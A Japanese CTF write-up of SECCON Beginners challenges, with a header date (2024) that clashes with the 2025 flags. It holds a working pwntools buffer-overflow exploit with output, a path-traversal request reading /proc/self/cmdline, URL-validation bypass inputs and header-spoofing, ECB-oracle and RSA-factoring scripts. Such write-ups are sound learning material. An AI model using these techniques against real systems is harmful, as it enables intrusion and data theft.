この大会は2024/7/26 14:00(JST)~2024/7/27 14:00(JST)に開催されました。
今回は個人で参戦。結果は1672点で880チーム中229位でした。
自分で解けた問題をWriteupとして書いておきます。
welcome (welcome)
問題にフラグが書いてあった。
ctf4b{W3lc0m3_2_SECCON_Beginners_CTF_2025}
kingyo_sukui (misc)
script.jsに以下のように書いてある。
class FlagGame { constructor() { this.encryptedFlag = "CB0IUxsUCFhWEl9RBUAZWBM="; this.secretKey = "a2luZ3lvZmxhZzIwMjU="; this.flag = this.decryptFlag(); : decryptFlag() { try { const key = atob(this.secretKey); const encryptedBytes = atob(this.encryptedFlag); let decrypted = ""; for (let i = 0; i < encryptedBytes.length; i++) { const keyChar = key.charCodeAt(i % key.length); const encryptedChar = encryptedBytes.charCodeAt(i); decrypted += String.fromCharCode(encryptedChar ^ keyChar); } return decrypted; } catch (error) { return "decrypt error"; } :
script.jsのencryptedFlagのbase64デコードしたものとsecretKeyのbase64デコードしたものをXORすればよい。
>>> from base64 import *
>>> encryptedFlag = "CB0IUxsUCFhWEl9RBUAZWBM="
>>> secretKey = "a2luZ3lvZmxhZzIwMjU="
>>> key = b64decode(secretKey)
>>> encryptedBytes = b64decode(encryptedFlag)
>>> ''.join([chr(encryptedBytes[i] ^ key[i % len(key)]) for i in range(len(encryptedBytes))])
'ctf4b{n47uma7ur1}'
ctf4b{n47uma7ur1}
url-checker (misc)
"example.com"と一致しない、"example.com"から始まるドメインを指定すればよい。
$ nc url-checker.challenges.beginners.seccon.jp 33457 _ _ ____ _ ____ _ _ | | | | _ \| | / ___| |__ ___ ___| | _____ _ __ | | | | |_) | | | | | '_ \ / _ \/ __| |/ / _ \ '__| | |_| | _ <| |___ | |___| | | | __/ (__| < __/ | \___/|_| \_\_____| \____|_| |_|\___|\___|_|\_\___|_| allowed_hostname = "example.com" >> Enter a URL: http://example.comment.com Valid URL :) Flag: ctf4b{574r75w17h_50m371m35_n07_53cur37}
ctf4b{574r75w17h_50m371m35_n07_53cur37}
url-checker2 (misc)
ローカルでいろいろと試したところ、以下のことが確認できた。
>>> url = 'http://example.com:80@example.comment.com'
>>> parsed = urlparse(url)
>>> parsed.netloc
'example.com:80@example.comment.com'
>>> parsed.netloc.split(':')[0]
'example.com'
>>> parsed.hostname
'example.comment.com'これで条件を満たすことがわかった。
$ nc url-checker2.challenges.beginners.seccon.jp 33458 _ _ ____ _ ____ _ _ ____ | | | | _ \| | / ___| |__ ___ ___| | _____ _ _|___ \ | | | | |_) | | | | | '_ \ / _ \/ __| |/ / _ \ '__|__) | | |_| | _ <| |___ | |___| | | | __/ (__| < __/ | / __/ \___/|_| \_\_____| \____|_| |_|\___|\___|_|\_\___|_| |_____| allowed_hostname = "example.com" >> Enter a URL: http://example.com:80@example.comment.com Valid URL :) Flag: ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}
ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}
pet_name (pwnable)
BOFの脆弱性があり、任意の32バイトの後に"/home/pwn/flag.txt"を入力すればよい。
$ nc pet-name.challenges.beginners.seccon.jp 9080 Your pet name?: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}
ctf4b{3xp1oit_pet_n4me!}
pet_sound (pwnable)
$ nc pet-sound.challenges.beginners.seccon.jp 9090 --- Pet Hijacking --- Your mission: Make Pet speak the secret FLAG! [hint] The secret action 'speak_flag' is at: 0x57eba56a1492 [*] Pet A is allocated at: 0x57ebe2ea92a0 [*] Pet B is allocated at: 0x57ebe2ea92d0 [Initial Heap State] --- Heap Layout Visualization --- 0x000057ebe2ea92a0: 0x000057eba56a15d2 <-- pet_A->speak 0x000057ebe2ea92a8: 0x00002e2e2e6e6177 <-- pet_A->sound 0x000057ebe2ea92b0: 0x0000000000000000 0x000057ebe2ea92b8: 0x0000000000000000 0x000057ebe2ea92c0: 0x0000000000000000 0x000057ebe2ea92c8: 0x0000000000000031 0x000057ebe2ea92d0: 0x000057eba56a15d2 <-- pet_B->speak (TARGET!) 0x000057ebe2ea92d8: 0x00002e2e2e6e6177 <-- pet_B->sound 0x000057ebe2ea92e0: 0x0000000000000000 0x000057ebe2ea92e8: 0x0000000000000000 0x000057ebe2ea92f0: 0x0000000000000000 0x000057ebe2ea92f8: 0x0000000000020d11 --------------------------------- Input a new cry for Pet A >
pet_A->soundのサイズは32バイトだが、50バイト読み込むようになっている。任意の文字を40バイト入力した後に、speak_flagのアドレスを書き込めばよい。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('pet-sound.challenges.beginners.seccon.jp', 9090) else: p = process('./chall') for _ in range(4): data = p.recvline().decode().rstrip() print(data) speak_flag_addr = int(data.split(' ')[-1], 16) payload = b'A' * 40 payload += p64(speak_flag_addr) data = p.recvuntil(b'> ').decode() print(data, end='') print(payload) p.sendline(payload) for _ in range(17): data = p.recvline().decode().rstrip() print(data) data = p.recvline().rstrip() print(data) for _ in range(5): data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to pet-sound.challenges.beginners.seccon.jp on port 9090: Done
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!
[hint] The secret action 'speak_flag' is at: 0x5a3ebfcc7492
[*] Pet A is allocated at: 0x5a3edc54a2a0
[*] Pet B is allocated at: 0x5a3edc54a2d0
[Initial Heap State]
--- Heap Layout Visualization ---
0x00005a3edc54a2a0: 0x00005a3ebfcc75d2 <-- pet_A->speak
0x00005a3edc54a2a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x00005a3edc54a2b0: 0x0000000000000000
0x00005a3edc54a2b8: 0x0000000000000000
0x00005a3edc54a2c0: 0x0000000000000000
0x00005a3edc54a2c8: 0x0000000000000031
0x00005a3edc54a2d0: 0x00005a3ebfcc75d2 <-- pet_B->speak (TARGET!)
0x00005a3edc54a2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005a3edc54a2e0: 0x0000000000000000
0x00005a3edc54a2e8: 0x0000000000000000
0x00005a3edc54a2f0: 0x0000000000000000
0x00005a3edc54a2f8: 0x0000000000020d11
---------------------------------
Input a new cry for Pet A > b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x92t\xcc\xbf>Z\x00\x00'
[Heap State After Input]
--- Heap Layout Visualization ---
0x00005a3edc54a2a0: 0x00005a3ebfcc75d2 <-- pet_A->speak
0x00005a3edc54a2a8: 0x4141414141414141 <-- pet_A->sound
0x00005a3edc54a2b0: 0x4141414141414141
0x00005a3edc54a2b8: 0x4141414141414141
0x00005a3edc54a2c0: 0x4141414141414141
0x00005a3edc54a2c8: 0x4141414141414141
0x00005a3edc54a2d0: 0x00005a3ebfcc7492 <-- pet_B->speak (TARGET!)
0x00005a3edc54a2d8: 0x00002e2e2e6e610a <-- pet_B->sound
0x00005a3edc54a2e0: 0x0000000000000000
0x00005a3edc54a2e8: 0x0000000000000000
0x00005a3edc54a2f0: 0x0000000000000000
0x00005a3edc54a2f8: 0x0000000000020d11
---------------------------------
b'Pet says: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x92t\xcc\xbf>Z'
**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
[*] Closed connection to pet-sound.challenges.beginners.seccon.jp port 9090
ctf4b{y0u_expl0it_0v3rfl0w!}
CrazyLazyProgram1 (reversing)
csのコードを整形すると、以下のようになる。
using System; class Program { static void Main() { int len=0x23; Console.Write("INPUT > "); string flag=Console.ReadLine(); if((flag.Length)!=len) { Console.WriteLine("WRONG!"); } else { if(flag[0]==0x63&&flag[1]==0x74&&flag[2]==0x66&&flag[3]==0x34&&flag[4]==0x62&&flag[5]==0x7b&&flag[6]==0x31&&flag[7]==0x5f&&flag[8]==0x31&&flag[9]==0x69&&flag[10]==0x6e&&flag[11]==0x33&&flag[12]==0x72&&flag[13]==0x35&&flag[14]==0x5f&&flag[15]==0x6d&&flag[16]==0x61&&flag[17]==0x6b&&flag[18]==0x33&&flag[19]==0x5f&&flag[20]==0x50&&flag[21]==0x47&&flag[22]==0x5f&&flag[23]==0x68&&flag[24]==0x61&&flag[25]==0x72&&flag[26]==0x64&&flag[27]==0x5f&&flag[28]==0x32&&flag[29]==0x5f&&flag[30]==0x72&&flag[31]==0x33&&flag[32]==0x61&&flag[33]==0x64&&flag[34]==0x7d) { Console.WriteLine("YES!!!\nThis is Flag :)"); } else { Console.WriteLine("WRONG!"); } } } }
条件にあるASCIIコードを順に文字にして並べればよい。
>>> s = [0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x31, 0x5f, 0x31, 0x69, 0x6e, 0x33, 0x72, 0x35, 0x5f, 0x6d, 0x61, 0x6b, 0x33, 0x5f, 0x50, 0x47, 0x5f, 0x68, 0x61, 0x72, 0x64, 0x5f, 0x32, 0x5f, 0x72, 0x33, 0x61, 0x64, 0x7d]
>>> ''.join([chr(c) for c in s])
'ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}'
ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}
CrazyLazyProgram2 (reversing)
Ghidraでデコンパイルする。
void main(void) { char local_38; char cStack_37; char cStack_36; char cStack_35; char cStack_34; char cStack_33; char cStack_32; char cStack_31; char cStack_30; char cStack_2f; char cStack_2e; char cStack_2d; char cStack_2c; char cStack_2b; char cStack_2a; char cStack_29; char cStack_28; char cStack_27; char cStack_26; char cStack_25; char cStack_24; char cStack_23; char cStack_22; char cStack_21; char cStack_20; char cStack_1f; char cStack_1e; char cStack_1d; char cStack_1c; char cStack_1b; char cStack_1a; char cStack_19; char cStack_18; undefined4 local_c; printf("Enter the flag: "); __isoc99_scanf(&DAT_001003c6,&local_38); local_c = 0; if (((((((((local_38 == 'c') && (local_c = 1, cStack_37 == 't')) && (local_c = 2, cStack_36 == 'f')) && (((local_c = 3, cStack_35 == '4' && (local_c = 4, cStack_34 == 'b')) && ((local_c = 5, cStack_33 == '{' && ((local_c = 6, cStack_32 == 'G' && (local_c = 7, cStack_31 == 'O')))))))) && (local_c = 8, cStack_30 == 'T')) && (((((local_c = 9, cStack_2f == 'O' && (local_c = 10, cStack_2e == '_')) && (local_c = 0xb, cStack_2d == 'G')) && ((local_c = 0xc, cStack_2c == '0' && (local_c = 0xd, cStack_2b == 'T')))) && (local_c = 0xe, cStack_2a == '0')))) && (((local_c = 0xf, cStack_29 == '_' && (local_c = 0x10, cStack_28 == '9')) && (((local_c = 0x11, cStack_27 == '0' && (((local_c = 0x12, cStack_26 == 't' && (local_c = 0x13, cStack_25 == '0')) && (local_c = 0x14, cStack_24 == '_')))) && (((local_c = 0x15, cStack_23 == 'N' && (local_c = 0x16, cStack_22 == '0')) && (local_c = 0x17, cStack_21 == 'm')))))))) && (((local_c = 0x18, cStack_20 == '0' && (local_c = 0x19, cStack_1f == 'r')) && ((local_c = 0x1a, cStack_1e == '3' && (((local_c = 0x1b, cStack_1d == '_' && (local_c = 0x1c, cStack_1c == '9')) && (local_c = 0x1d, cStack_1b == '0')))))))) && (((local_c = 0x1e, cStack_1a == 't' && (local_c = 0x1f, cStack_19 == '0')) && (local_c = 0x20, cStack_18 == '}')))) { puts("Flag is correct!"); } return; }
local_38, cStack_37, ... と順に条件の文字を並べていけばよい。
ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}
D-compile (reversing)
Ghidraでデコンパイルする。
undefined8 _Dmain(void) { char cVar1; undefined8 *puVar2; undefined auVar3 [16]; puVar2 = (undefined8 *)_d_arrayliteralTX(&_D11TypeInfo_Aa6__initZ,0x20); *puVar2 = 0x334e7b6234667463; puVar2[1] = 0x646e3372545f7478; puVar2[2] = 0x75396e61315f445f; puVar2[3] = 0x7d3130315f336761; _D3std5stdio__T7writelnTAyaZQnFNfQjZv(0xb,"input flag>"); auVar3 = _D3std5stdio__T6readlnTAyaZQmFwZQj(10); cVar1 = _D4core8internal5array8equality__T8__equalsTaTaZQoFNaNbNiNeMxAaMxQeZb (auVar3._0_8_,auVar3._8_8_,0x20,puVar2); if (cVar1 == '\0') { _D3std5stdio__T7writelnTAyaZQnFNfQjZv(0xd,"this is wrong"); } else { _D3std5stdio__T7writelnTAyaZQnFNfQjZv(0x1e,"way to go! this is the flag :)"); } return 0; }
puVar2と比較してるようなので、文字にしていく。
>>> (0x334e7b6234667463).to_bytes(8, 'little')
b'ctf4b{N3'
>>> (0x646e3372545f7478).to_bytes(8, 'little')
b'xt_Tr3nd'
>>> (0x75396e61315f445f).to_bytes(8, 'little')
b'_D_1an9u'
>>> (0x7d3130315f336761).to_bytes(8, 'little')
b'ag3_101}'
ctf4b{N3xt_Tr3nd_D_1an9uag3_101}
wasm_S_exp (reversing)
watファイルが添付されているので、内容を見ていく。
stir関数は以下の式で表される。
stir(x) = 1024 + ((23 + 37 * (x ^ 0x5a5a)) % 101)
各チェックのブロックは以下の形式になっている。
i32.const <expected_byte_value>
i32.const <input_index>
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
endこのことからメモリ状態を再現し、フラグを取得する。
def stir(x): return 1024 + ((23 + 37 * (x ^ 0x5a5a)) % 101) checks = [ (0x7b, 38), (0x67, 20), (0x5f, 46), (0x21, 3), (0x63, 18), (0x6e, 119), (0x5f, 51), (0x79, 59), (0x34, 9), (0x57, 4), (0x35, 37), (0x33, 12), (0x62, 111), (0x63, 45), (0x7d, 97), (0x30, 54), (0x74, 112), (0x31, 106), (0x66, 43), (0x34, 17), (0x34, 98), (0x54, 120), (0x5f, 25), (0x6c, 127), (0x41, 26), ] memory = [0] * 2048 for val, idx in checks: addr = stir(idx) memory[addr] = val flag_bytes = [b for b in memory if b != 0] flag = ''.join(chr(b) for b in flag_bytes) print(flag)
ctf4b{WAT_4n_345y_l0g1c!}
skipping (web)
HTTPヘッダの"x-ctf4b-request"に"ctf4b"を設定して、/flagにアクセスすればフラグが得られる。
$ curl http://skipping.challenges.beginners.seccon.jp:33455/flag -H "x-ctf4b-request: ctf4b" ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}
ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}
log-viewer (web)
access.logを見ようとすると、以下のURLに遷移する。
http://log-viewer.challenges.beginners.seccon.jp:9999/?file=access.log
さらに該当するファイルは以下のパスになっている。
logs/access.log
いろいろとfileに指定するファイルを試したところ、以下のパスの時にフラグが得られた。
http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/cmdline
得られた結果は以下の通り。
/usr/local/bin/log-viewer-port=9999-flag=ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}
ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}
seesaw (crypto)
RSA暗号だが、nの素因数の片方が小さいため、nを容易に素因数分解ができる。あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * from sympy import * with open('output.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' ')[-1]) c = int(params[1].split(' ')[-1]) e = 65537 fac = factorint(n) phi = 1 for k, _ in fac.items(): phi *= k - 1 d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
ctf4b{unb4l4nc3d_pr1m35_4r3_b4d}
01-Translator (crypto)
flagを数値化したものの2進数で"0", "1"をそれぞれ置換する文字列を指定し、AES ECB暗号化して表示させる。それぞれ16バイトの文字列に変えれば、パディング文字を除き、ブロック単位で2種類の暗号化結果になるので、bit列を判別でき、フラグを復号できる。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('01-translator.challenges.beginners.seccon.jp', 9999)) trans_0 = 'A' * 16 trans_1 = 'B' * 16 data = recvuntil(s, b'> ') print(data + trans_0) s.sendall(trans_0.encode() + b'\n') data = recvuntil(s, b'> ') print(data + trans_1) s.sendall(trans_1.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) ct = data.split(' ')[-1] blocks = [ct[i:i+32] for i in range(0, len(ct), 32)] flag_bin = '0' one = blocks[0] for block in blocks[:-1]: if block == one: flag_bin += '1' else: flag_bin += '0' flag = '' for i in range(0, len(flag_bin), 8): flag += chr(int(flag_bin[i:i+8], 2)) print(flag)
実行結果は以下の通り。
translations for 0> AAAAAAAAAAAAAAAA
translations for 1> BBBBBBBBBBBBBBBB
ct: cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc342f496b5a78f9bd908e253cab096b1
ctf4b{n0w_y0u'r3_4_b1n4r13n}
ctf4b{n0w_y0u'r3_4_b1n4r13n}
Elliptic4b (crypto)
サーバの処理の概要は以下の通り。
・y: secp256k1.p未満のランダム整数 ・yを表示 ・x: 数値入力 ・(x, y)がsecp256k1の楕円曲線上にない場合エラー ・a: 数値入力 ・P = Point(x, y, secp256k1) ・Q = a * P ・aが0より小さい場合、エラー ・P.xとQ.xが異なる場合、エラー ・P.yとQ.yが同じ場合、エラー ・フラグを表示
SageMathでyからxを求める。a = -1の場合、Q=-Pとなり、x座標は同じでy座標が反転する。ただし、a<0の場合はNGのため、secp256k1.q - 1を指定すればよい。
#!/usr/bin/env sage import socket from fastecdsa.curve import secp256k1 def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('elliptic4b.challenges.beginners.seccon.jp', 9999)) data = recvuntil(s, b'\n').rstrip() print(data) y = int(data.split(' ')[-1]) p = secp256k1.p b = secp256k1.b q = secp256k1.q z = (y^2 - b) % p Fp = GF(p) R.<x> = PolynomialRing(Fp) f = x^3 - z roots = f.roots() if roots: for x, _ in roots: x = int(x) else: print('No solution found.') exit(1) data = recvuntil(s, b'= ') print(data + str(x)) s.sendall(str(x).encode() + b'\n') a = q - 1 data = recvuntil(s, b'= ') print(data + str(a)) s.sendall(str(a).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
y = 102226187870597146326365948300577683230107999979598730954705257190768787556568
x = 32205466591662418276667654062017011621251379200565449364287817994167452194390
a = 115792089237316195423570985008687907852837564279074904382605163141518161494336
flag = ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}
ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}